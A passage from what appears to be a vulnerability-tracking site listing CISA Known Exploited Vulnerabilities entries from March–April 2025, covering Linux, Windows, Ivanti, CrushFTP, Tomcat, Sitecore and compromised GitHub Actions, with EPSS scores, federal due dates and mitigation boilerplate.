EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53150&date=2026-10-25). Sources: CISA KEV entry CVE-2024-53150: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53150&date=2026-10-25 CISA added this entry on 2025-04-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 9, 2025; federal due date Apr 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Out-of-Bounds Access Vulnerability https://kevwire.com/record/CVE-2024-53197 Linux Kernel Out-of-Bounds Access Vulnerability (Apr 9, 2025). Linux Kernel contains an out-of-bounds access vulnerability in the USB-audio driver that allows an attacker with physical access to the system to use a malicious USB device to potentially manipulate system memory, escalate privileges, or execute arbitrary code. EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53197&date=2026-10-25). Sources: CISA KEV entry CVE-2024-53197: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53197&date=2026-10-25 CISA added this entry on 2025-04-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 9, 2025; federal due date Apr 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-29824 Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability (Apr 8, 2025). Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally. EPSS 19.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-29824&date=2026-10-25). Sources: CISA KEV entry CVE-2025-29824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-29824&date=2026-10-25 CISA added this entry on 2025-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 8, 2025; federal due date Apr 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Gladinet CentreStack and Triofox Use of Hard-coded Cryptographic Key Vulnerability https://kevwire.com/record/CVE-2025-30406 Gladinet CentreStack and Triofox Use of Hard-coded Cryptographic Key Vulnerability (Apr 8, 2025). Gladinet CentreStack and Triofox contains a use of hard-coded cryptographic key vulnerability in the way that the application manages keys used for ViewState integrity verification. Successful exploitation allows an attacker to forge ViewState payloads for server-side deserialization, allowing for remote code execution. EPSS 94.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30406&date=2026-10-25). Sources: CISA KEV entry CVE-2025-30406: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30406&date=2026-10-25 CISA added this entry on 2025-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 8, 2025; federal due date Apr 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CrushFTP Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2025-31161 CrushFTP Authentication Bypass Vulnerability (Apr 7, 2025). CrushFTP contains an authentication bypass vulnerability in the HTTP authorization header that allows a remote unauthenticated attacker to authenticate to any known or guessable user account (e.g., crushadmin), potentially leading to a full compromise. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31161&date=2026-10-25). Sources: CISA KEV entry CVE-2025-31161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31161&date=2026-10-25 CISA added this entry on 2025-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 7, 2025; federal due date Apr 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Connect Secure, Policy Secure, and ZTA Gateways Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-22457 Ivanti Connect Secure, Policy Secure, and ZTA Gateways Stack-Based Buffer Overflow Vulnerability (Apr 4, 2025). Ivanti Connect Secure, Policy Secure, and ZTA Gateways contains a stack-based buffer overflow vulnerability that allows a remote unauthenticated attacker to achieve remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22457&date=2026-10-25). Sources: CISA KEV entry CVE-2025-22457: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22457&date=2026-10-25 CISA added this entry on 2025-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations as set forth in the CISA instructions linked below. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 4, 2025; federal due date Apr 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Tomcat Path Equivalence Vulnerability https://kevwire.com/record/CVE-2025-24813 Apache Tomcat Path Equivalence Vulnerability (Apr 1, 2025). Apache Tomcat contains a path equivalence vulnerability that allows a remote attacker to execute code, disclose information, or inject malicious content via a partial PUT request. This vulnerability can be chained with CVE‑2026‑34486. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24813&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24813: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24813&date=2026-10-25 CISA added this entry on 2025-04-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 1, 2025; federal due date Apr 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Smart Licensing Utility Static Credential Vulnerability https://kevwire.com/record/CVE-2024-20439 Cisco Smart Licensing Utility Static Credential Vulnerability (Mar 31, 2025). Cisco Smart Licensing Utility contains a static credential vulnerability that allows an unauthenticated, remote attacker to log in to an affected system and gain administrative credentials. EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20439&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20439: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20439&date=2026-10-25 CISA added this entry on 2025-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 31, 2025; federal due date Apr 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Mojo Sandbox Escape Vulnerability https://kevwire.com/record/CVE-2025-2783 Google Chromium Mojo Sandbox Escape Vulnerability (Mar 27, 2025). Google Chromium Mojo on Windows contains a sandbox escape vulnerability caused by a logic error, which results from an incorrect handle being provided in unspecified circumstances. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 9.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2783&date=2026-10-25). Sources: CISA KEV entry CVE-2025-2783: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2783&date=2026-10-25 CISA added this entry on 2025-03-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 27, 2025; federal due date Apr 17, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability https://kevwire.com/record/CVE-2019-9875 Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability (Mar 26, 2025). Sitecore CMS and Experience Platform (XP) contain a deserialization vulnerability in the Sitecore.Security.AntiCSRF module that allows an authenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter __CSRFTOKEN. EPSS 25.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9875&date=2026-10-25). Sources: CISA KEV entry CVE-2019-9875: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9875&date=2026-10-25 CISA added this entry on 2025-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 26, 2025; federal due date Apr 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability https://kevwire.com/record/CVE-2019-9874 Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability (Mar 26, 2025). Sitecore CMS and Experience Platform (XP) contain a deserialization vulnerability in the Sitecore.Security.AntiCSRF module that allows an unauthenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter __CSRFTOKEN. EPSS 83.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9874&date=2026-10-25). Sources: CISA KEV entry CVE-2019-9874: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9874&date=2026-10-25 CISA added this entry on 2025-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 26, 2025; federal due date Apr 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### reviewdog/action-setup GitHub Action Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2025-30154 reviewdog/action-setup GitHub Action Embedded Malicious Code Vulnerability (Mar 24, 2025). reviewdog action-setup GitHub Action contains an embedded malicious code vulnerability that dumps exposed secrets to Github Actions Workflow Logs. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30154&date=2026-10-25). Sources: CISA KEV entry CVE-2025-30154: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30154&date=2026-10-25 CISA added this entry on 2025-03-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 24, 2025; federal due date Apr 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP NetWeaver Directory Traversal Vulnerability https://kevwire.com/record/CVE-2017-12637 SAP NetWeaver Directory Traversal Vulnerability (Mar 19, 2025). SAP NetWeaver Application Server (AS) Java contains a directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS that allows a remote attacker to read arbitrary files via a .. (dot dot) in the query string. EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12637&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12637: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12637&date=2026-10-25 CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 19, 2025; federal due date Apr 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NAKIVO Backup and Replication Absolute Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-48248 NAKIVO Backup and Replication Absolute Path Traversal Vulnerability (Mar 19, 2025). NAKIVO Backup and Replication contains an absolute path traversal vulnerability that enables an attacker to read arbitrary files. EPSS 94.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-48248&date=2026-10-25). Sources: CISA KEV entry CVE-2024-48248: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-48248&date=2026-10-25 CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 19, 2025; federal due date Apr 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Edimax IC-7100 IP Camera OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-1316 Edimax IC-7100 IP Camera OS Command Injection Vulnerability (Mar 19, 2025). Edimax IC-7100 IP camera contains an OS command injection vulnerability due to improper input sanitization that allows an attacker to achieve remote code execution via specially crafted requests. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 74.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-1316&date=2026-10-25). Sources: CISA KEV entry CVE-2025-1316: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-1316&date=2026-10-25 CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 19, 2025; federal due date Apr 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2025-30066 tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability (Mar 18, 2025). tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys. EPSS 72.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30066&date=2026-10-25). Sources: CISA KEV entry CVE-2025-30066: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30066&date=2026-10-25 CISA added this entry on 2025-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 18, 2025; federal due date Apr 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2025-24472 Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability (Mar 18, 2025). Fortinet FortiOS and FortiProxy contain an authentication bypass vulnerability that allows a remote attacker to gain super-admin privileges via crafted CSF proxy requests. EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24472&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24472: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24472&date=2026-10-25 CISA added this entry on 2025-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 18, 2025; federal due date Apr 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS Improper Isolation or Compartmentalization Vulnerability https://kevwire.com/record/CVE-2025-21590 Juniper Junos OS Improper Isolation or Compartmentalization Vulnerability (Mar 13, 2025). Juniper Junos OS contains an improper isolation or compartmentalization vulnerability. This vulnerability could allows a local attacker with high privileges to inject arbitrary code. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21590&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21590: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21590&date=2026-10-25 CISA added this entry on 2025-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 13, 2025; federal due date Apr 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-24201 Apple Multiple Products WebKit Out-of-Bounds Write Vulnerability (Mar 13, 2025). Apple iOS, iPadOS, macOS, and other Apple products contain an out-of-bounds write vulnerability in WebKit that may allow maliciously crafted web content to break out of Web Content sandbox. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 3.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24201&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24201&date=2026-10-25 CISA added this entry on 2025-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 13, 2025; federal due date Apr 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-24993 Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability (Mar 11, 2025). Microsoft Windows New Technology File System (NTFS) contains a heap-based buffer overflow vulnerability that allows an unauthorized attacker to execute code locally. EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24993&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24993: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24993&date=2026-10-25 CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2025-24991 Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability (Mar 11, 2025). Microsoft Windows New Technology File System (NTFS) contains an out-of-bounds read vulnerability that allows an authorized attacker to disclose information locally. EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24991&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24991&date=2026-10-25 CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability https://kevwire.com/record/CVE-2025-24985 Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability (Mar 11, 2025). Microsoft Windows Fast FAT File System Driver contains an integer overflow or wraparound vulnerability that allows an unauthorized attacker to execute code locally. EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24985&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24985: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24985&date=2026-10-25 CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows NTFS Information Disclosure Vulnerability https://kevwire.com/record/CVE-2025-24984 Microsoft Windows NTFS Information Disclosure Vulnerability (Mar 11, 2025). Microsoft Windows New Technology File System (NTFS) contains an insertion of sensitive Information into log file vulnerability that allows an unauthorized attacker to disclose information with a physical attack. An attacker who successfully exploited this vulnerability could potentially read portions of heap memory. EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24984&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24984: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24984&date=2026-10-25 CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Win32k Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-24983 Microsoft Windows Win32k Use-After-Free Vulnerability (Mar 11, 2025). Microsoft Windows Win32 Kernel Subsystem contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24983&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24983: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24983&date=2026-10-25 CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability https://kevwire.com/record/CVE-2025-26633 Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability (Mar 11, 2025). Microsoft Windows Management Console (MMC) contains an improper neutralization vulnerability that allows an unauthorized attacker to bypass a security feature locally. EPSS 